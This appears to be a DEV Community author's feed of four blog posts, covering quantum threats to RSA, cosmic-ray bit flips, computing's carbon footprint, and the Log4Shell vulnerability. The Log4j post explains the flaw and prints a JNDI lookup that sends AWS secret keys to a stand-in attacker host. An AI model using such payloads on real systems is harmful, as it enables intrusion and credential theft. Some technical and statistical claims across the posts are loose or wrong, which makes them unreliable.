DEV Community: Debρarna Bisωas

Quantum Computing and the Looming Threat to Our Privacy: A Deep Dive

Debρarna Bisωas — Mon, 20 May 2024 18:29:09 +0000

RSA as we know it is a public-key cryptography system invented in 1977, based on the mathematical difficulty of factoring the product of two large prime numbers.

Today, RSA is widely used in securing web browsing via HTTPS, email encryption through protocols like S/MIME, and digital signatures for verifying document authenticity.It also secures virtual private networks (VPNs), file transfers (FTPS and SFTP), etc. Thus being an integral part to data privacy and security.

Today, this data is secure thanks to this encryption method as it would take traditional computers millions of years to break.

But quantum computing is emerging as a game-changer.

Store Now, Decrypt Later: Preparing for the Quantum Age

The SNDL strategy is predicated on the belief that within the next 10 to 20 years, quantum computers will be capable of decrypting this data swiftly, which is a threat. The National Security Administration has warned that if a strong enough quantum computer is developed, it could break all the commonly used encryption methods, making all that stored encrypted data readable.

On January, 2023 The US Congress passed a Bill mandating all agencies to find new cryptographic methods which are ‘quantum-resistant’.

A Brief History of Encryption

Before diving into the implications of quantum computing, it’s important to understand the origin of encryption.

Before the 1970s, secure communication relied on symmetric key algorithms. This required exchanging secret keys in person, which actually was impractical for widespread use.

In 1977, Rivest, Shamir, and Adleman revolutionised encryption with the RSA algorithm, an asymmetric key system that enables secure communication without the need for a prior secret exchange.

RSA encryption uses two keys: a public key for encrypting messages and a private key for decrypting them. Each user creates two large secret prime numbers (private key) and multiplies them together to form the public key. Only someone who knows these original prime numbers can decrypt messages that were encrypted with the public key.

Quantum Computing: A Game Changer
The security of RSA encryption relies on the difficulty of factoring large composite numbers, a task that would take about 16 millions of years even for a Super computer. Quantum computers, however, operate on a fundamentally different principle.

In classical computing, a bit is binary and can exist in one of two states: 0 or 1.
A classical system with two bits can represent any one of four possible states: 00, 01, 10 or 11, representing numbers 1, 2, 3 and 4.
So if we want to do a calculation it can be done only one state at a time.

Or example if we want use any of the number to calculate the power of 5, only one operation can be done at a time by this bit pair. Example, using 11 i.e. 3, to calculate 5n = 53 = 125.

In contrast, a qubit can exist in a state that is a combination of both 0 and 1 simultaneously, thanks to superposition. So 2 Qubits can be at 4 different states at the same time i.e. 00, 01, 10 ,11

Mathematically, a qubit can be described as a linear combination of its basis states:
∣ψ⟩=α ∣0⟩+β ∣1⟩

where 𝛼 and β are complex numbers that describe the probability amplitudes of the qubit's state, and

When multiple qubits are in superposition, they can represent all possible combinations of their states simultaneously. For example, two qubits can be in a superposition of all four states (00, 01, 10, and 11) at the same time. As a result, an n-qubit system can simultaneously represent 2n states, thus able to do 2n calculations in at the same time, reducing the time complexity exponentially compared to classical bits.

But there was once issue. The answers to the calculations of all states also came as a superposition. So even if we calculate, the result is unreadable. That's where the Shor's algorithm comes in, which uses Fourier Transform to separate the superpositions.

Shor's Algorithm and Quantum Factorisation
The breakthrough came in 1994 when Peter Shor developed an algorithm that could leverage quantum computing to factor large numbers exponentially faster than classical algorithms. Here’s a simplified explanation of how a quantum computer could break RSA encryption:

Initial Setup: Start with a large number N which is the product of two prime numbers, p and q. The goal is to find these primes.
Select a Random Number g: Choose a random number g that doesn't share any factors with N. This is a bad guess for a factor.
Periodic Superposition: Use the quantum computer to prepare a superposition of all possible exponents of g.
Compute g^x mod N for all x in this superposition, creating a periodic pattern due to the modular arithmetic.
Quantum Fourier Transform (QFT): Apply QFT to the superposition. This transforms the periodic pattern into a frequency domain, where the period of the original pattern becomes a prominent peak.
Extracting the Period: Measure the output of the QFT to find the period r. This period helps in finding factors of N.
Classical Post-Processing: Use the period r to compute g^(r/2) + 1, which are likely to share non-trivial factors with N. Apply the Euclidean algorithm to find the greatest common divisor, revealing the prime factors p and q.

The Algorithm might look very complicated, so simple put what we need to keep is mind is as follows:

Problem Description: Given a large integer N, the goal is to find its prime factors. For example, if N=15, the factors are 3 and 5.
Classical Difficulty: Factoring large integers is computationally hard for classical computers, especially as the numbers grow larger. This difficulty underpins the security of many cryptographic systems, such as RSA encryption.
Quantum Speedup: Shor's algorithm can factor integers in polynomial time, specifically in O((log N)2(log log N)(log log log N)), which is exponentially faster than the best-known classical algorithms (e.g., the general number field sieve, which runs in sub-exponential time).

The threat is still far away

Now the implementation lies on the number of perfect Qubits without any imperfections. But Qubits are extremely sensitive to their environment, which can cause them to lose their quantum state through a process called decoherence. Achieving a large number of high-fidelity, low-error qubits remains a significant hurdle.

As per the current technological breakthroughs, the number of physical Qubits needed to break the RSA encryption is around 20 million.

IBM's quantum computers, as an example, are mentioned as having nowhere near the required number of qubits, about 1000 Qubits.The current state of quantum computing is still in the early stages, with significant progress needed to reach the level required for such powerful computations.

Quantum Threat Mitigation: Post-Quantum Cryptography
Realising the upcoming threat from quantum computers, researchers and organisations have been developing post-quantum cryptography (PQC). In 2016, the National Institute of Standards and Technology (NIST) started a contest to find new cryptographic methods that can withstand quantum computer attacks. By 2022, they chose four algorithms to be part of the new standard for post-quantum cryptography.

One of the most promising approaches is lattice-based cryptography, which relies on the complexity of problems like the shortest vector problem (SVP) in high-dimensional lattices. We shall discuss about this in details in the next Blog.

Conclusion
The rise of quantum computing presents a major risk to existing encryption techniques. Although quantum computers powerful enough to break RSA encryption are still years off, the SNDL strategy implies that data encrypted today could be at risk in the future. Therefore, switching to quantum-resistant cryptography is critically important. Researchers are working hard to create and adopt new cryptographic standards to protect our data in a world where quantum computers exist.

Bits in your PC can flip randomly

Debρarna Bisωas — Tue, 14 Jun 2022 19:17:17 +0000

We are emerging into a world of intense digitalization, where digital data prevails every aspect of our life. From monetary transactions to social status, from casual shopping to stock trading we are so much dependent on our gadgets making us a preliminary cyborg.
We have much faith in our digital data, and rely on them to record our account balances and vital information. Although they seem to be incorruptible because binary bits are more reliable than analog signals, some events in history might say otherwise.

Belgium Elections, 2003

On May 18, 2003 as voting was held in Schaerbeek, it was done on computers where the voters used an electronic card to cast their vote by inserting the card into the system and making the selection on the screen. Their selection was saved both on the computer and on the magnetic card. The magnetic cards were then dropped into a box storing backup data. A simple technique but something interesting happened on this particular day.
When the results were checked later on the system, an unexpected anomaly was detected. A candidate named Maria Vindevogel received more votes than was mathematically possible. The vote count was 4610. So the officials had to manually check all the digital cards counting the votes of each candidate.
It was found that all the votes were absolutely correct except for Maria. Her actual votes count was 514. This means the system count was 4096 votes higher than the actual count.
So how could this happen? Later computer experts were brought to run tests on the software. They did thorough contemplation through the codes, but couldn't find any bug. Later the computer involved for the error was checked for hardware issue, but nothing was found and the system seemed to be working perfectly.

But the weird part was that the actual results were off by exactly 4096 which is equal to 2^12. Now if we consider the bits involved in storing the vote count, it looks something like this for 514.

But if we flip value of the 13th bit, it makes the record go up by a difference of 2^12 , i.e. 4096.

Now as we know bit values are stored by small transistors, where a state of the transistor decides the value of bit to be either 1 or 0.

But this doesn't happen naturally. Bits don't flip unless we make them do.

Airbus A330 Event, 2008

On October 7, 2008, an Airbus was on it's course from Singapore to Perth faced some anomalies which resulted to be have somewhat similar cause. After few hours in it's course, the plane suddenly dived down 200m in 20secs. Multiple passengers were injured and the pilots had to do an emergency landing.

Later when the source of the cause was found, it was from the security protocol of the flight system. The information holding the critical data in case of emergency was stored in a 32 bit binary word. Now because of a single bit alteration of the word, the altitude indicator value was switched to angle of attack indicator.

The software read the data as an emergency condition and dived down 200 meters as a response to the virtual attack to maintain safer altitude.

So even this happened because of the mysterious bits flipping of the digital memory.

Intel Chips, 1978

In 1978 Intel reported some strange errors in the 16KB DRAMs they produced. Random bits were flipped to zeros as the produced the chips with all the bits as ones, with unknown causes. The problem turned out to be because of the ceramic packaging of the semiconductors. This packaging was manufactured in a plant near the Green River in Colorado. Now the plant was located near an old Uranium mill, which was the source of uranium particles polluting the ceramic packages and thus coming in contact with the DRAMs.
Intel scientists later researched on this, and they found out that even traces of uranium particles can cause problem in the transistors.

The alpha particles when hitting the semiconductors are capable to flip the state of the transistors, as they were creating electron hole pairs and loading electrons into the tunnel of the transistor. Thus changing the bit from 1 to 0. This is known as a Single Event Upset (SEU), which is a soft error created without damaging the machine and leaving no trace.
So it was the alpha particles.

The Cause

So as per the research by the Intel scientists, the radioactive Uranium was the cause. But what's with the Voting machine and the Airbus? Where did they get the Uranium from?

During the early 1900s scientists found that radiations were not just found near to the ground due to ground radiation, but also in high altitudes. And actually above an altitude of 1000m the radiation actually starts increasing. It even increases higher by several scales. High energy radiations were detected coming from the sky, but such scales of radiations were impossible to be created from the Sun. So where did they come from?

Today we know that these radiations are not electromagnetic but particles of kind: protons, alpha particles and heavier nuclei. Even though we receive some of these from the Sun, but they have very low energy. Such high energy cosmic rays come from Super Novae, and even Super Massive Black Holes.
It was later concluded that it were these high energy particles that created the bit flips, specially the neutrons.

This is what flipped the 13th bit in the Voting machine giving Maria Vindevogel , 4096 extra votes.

The Solution

Now a days there are ways to handle these kind of SEU events. Chips contain error correction codes and ECC memories. They are quite useful but it is still very tough to prevent bit flips.

Problems occur more when such digital systems have more exposure to high energy cosmic radiations, like the computers in the rockets. So they are made resilient by having 4 different CPUs running in parallel, identically to each other. So if one computer faces a SEU events, the rest of the 3 computers will take over and correcting the bit of the 1st computer. The Perseverance Mars Rovers has a different strategy. It uses old models of Computer system with circuits and design system were hardened enough to face radiation 40 times stronger than what normal PCs can handle. Several subsequent space missions followed the same.

Conclusion

So events like this make us wonder how cosmic rays travelling light years of distance for millions of years can actually someday hit a transistor in your system and crash it.

And not just your Personal Laptop, the Servers in a certain data station storing our vital information, maybe even our account balances.

Computers pollute ?

Debρarna Bisωas — Mon, 13 Jun 2022 18:16:07 +0000

It might sound very anti-intuitive that you doing a google search about carbon emissions in the atmosphere can actually release a tiny amount of carbon too. It might be negligible but when we sum it all up, in processing almost 3.5 billion searches a day, the world’s most popular website accounts for about 40% of the internet’s carbon footprint. Now that’s a big part in the Carbon emission and can’t be neglected.

Digital Carbon Footprint

The face of Digital world has changed massively and the generation, processing and consumption of data has scaled up exponentially in the last decade. But what we miss under the picture is the load on the massive hardwares and their processing power.
The kind of speed with which these servers process data and the energy consumption required to keep these systems cool is massive. Now you can imagine the amount of carbon footprint created with such energy, because high powers rely on fossil fuels.
Google’s net energy consumption in a year is about 12.5 Terawatt, where Bitcoin mining accounts to more than 10times, 130 Terawatt per year. It is found that training certain Machine Learning models accounts to release of carbon equal to that of 5 cars in their lifetime.

What can we do?
From the coding perspective:
• Use efficient Algorithm: An efficient algorithm can minimize the CPU consumption and in result reduce energy consumption.
• Event based over Rest based: Prefer using Event driven architectures because Rest architectures use unending loops waiting to receive instructions.
• Fonts: Even using optimal fonts reduces file size to a large scale. Fonts like WOFF reduces file size upto 97%.

From electronics user perspective:
• Emails: One email sent releases about 4g of Carbon. Globally each individual accounts for about 136kg of C02 in a year. So we can reduce email transactions by unsubscribing to unwanted websites and avoid spams and advertisements.
• Energy Saver modes should be enabled while using any device.
• Online shopping: Online shopping adds up to releasing less carbon compared to driving to store.

The Green Software Foundation is a nonprofit founded by Accenture, GitHub, Microsoft and ThoughtWorks established with the Linux Foundation and the Joint Development Foundation Projects LLC to build a trusted ecosystem of people, standards, tooling and leading practices for building green software.

If you find other ideas to reduce carbon emissions, do mention in the comment section.

Log4j, What happened ?

Debρarna Bisωas — Mon, 13 Jun 2022 17:14:01 +0000

As we know Log4j is one of the most popular Java library used for logging. Developers might use it directly or even indirectly without even knowing because of other java dependencies which uses Log4j internally. The scanned data published by the software company Synk, shows that 60.8% of all the Java projects use Log4j indirectly and not directly.

But a vulnerability in the JNDI lookup of Log4j was detected and it was found to be present in the library, unchecked for 8 long years since 2013, when the lookup was introduced. Recently the vulnerability was being tested using a very famous payload ‘${jndi:ldap//liveoverflow.com}’.

The Timeline

17th July, 2013: In 2013 a feature patch was submitted to log4j to add JNDI lookups. But this was actually the introduction of the vulnerability.

25th Nov, 2014: Some compatibility issues were reported by Developers where the log4j lookups were unwillingly formatting strings as they were getting recognised as lookup parameters. So, a feature was released to disable lookups. Eg: %m{noLookups} instead of using %m.

2016: There was a talk by Blackhat about JNDI/LDAP manipulation and Remote code execution. Conducted by Pwntester and Oleksandr Mirosh, they even mentioned that JNDI lookup is not just looking up a basic string, but maybe a complex java object. So if an attacker can send arbitrary seralized objects to an application, then you likely get remote code execution. But this talk was about a Java feature and its security vulnerabilities and had nothing to do with Log4j. So, the research remained unnoticed and ignored.

9th Nov, 2017: ‘formatMsgNoLookups’ config was introduced which disables lookups globally. This was the first mitigation for the issue, but was not perfect.

[Because the lookups were still passing through in case the input messages were not a StringBuilderFormattable type, and the messages were getting through the lookup processing. Eg: Using logger.printf with format string instead of logger.info, the mitigation doesn’t work. This still remained unrecognised.]

26th Nov, 2021: The vulnerability that JNDI lookups can be used to execute remote java codes was first reported by Chen Zhaojun of Alibaba Cloud Security Team.

10th Dec, 2021: Apache published an advisory for CVE-2021-44228 with an update for log4j. After 2 weeks from the date of report. This proved to be one of the largest and craziest security vulnerabilities of all time. Even the German issued an IT emergency of state 4 Red. This means that the IT threat situation is very critical.

The Vulnerability

The vulnerability found was a type of RCB (Remote Code Execution). It is also being called Log4Shell which is like opening a shell in a server having this vulnerability, probably by any attacker.
Before getting in depth let’s start with a simple logger code.

logger.error(“Error message {}”, error.getMessage());

Using {} we can log any string in the right place which is pretty simple.

Now log4j also supports lookups which is used to extract Environment variables. Eg:

logger.info(“Home directory: ${env.HOME}”);

This looks up and prints the home directory of the current server. Log4j supports several other lookups including the JNDI, exactly where it get interesting.

Now log4j also supports adding lookups as parameter values.
Eg:
logger.info(“Home directory: {}”, ${env.HOME});

Thanks to this now any lookup string can be passed as a simple string argument which is not meant to be passed and log4j resolves the lookup anyway.

Issue with JNDI lookup:

logger.info(“Customer account: {}”, “${jndi:ldap://logconfig/prefix}”);

Similar to the above example jndi lookup params can be passed to any log message and the jndi url will be resolved by the logger. Now a hacker can easily pass jndi urls of any other jndi server which contains malicious codes and execute them by passing them as jndi strings to target server. Example: A search engine, or any search tab in any ecommerce website using Log4j.

Hackers can also leverage the JNDI lookup to disclose environmental variables.

${jndi:ldap://evilattacker:1234/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}

Now an issue like this can be prevented by setting some JVM flags as false.
com.sun.jndi.ldap.object.trustURLCodebase com.sun.jndi.rmi.object.trustURLCodebase

But a large number of Enterprise applications run on Java and directly or indirectly uses Log4j, and some developers may not be even aware of the flags or the vulnerability, which makes it at a bigger problem.

Now the latest Log4J version 2.16 has fixed the issue. But the question is why did it take so long to find this issue. This has stayed since 2013 to 2021 for 8 long years. This opens up a wider question to how much the open-source libraries can be trusted.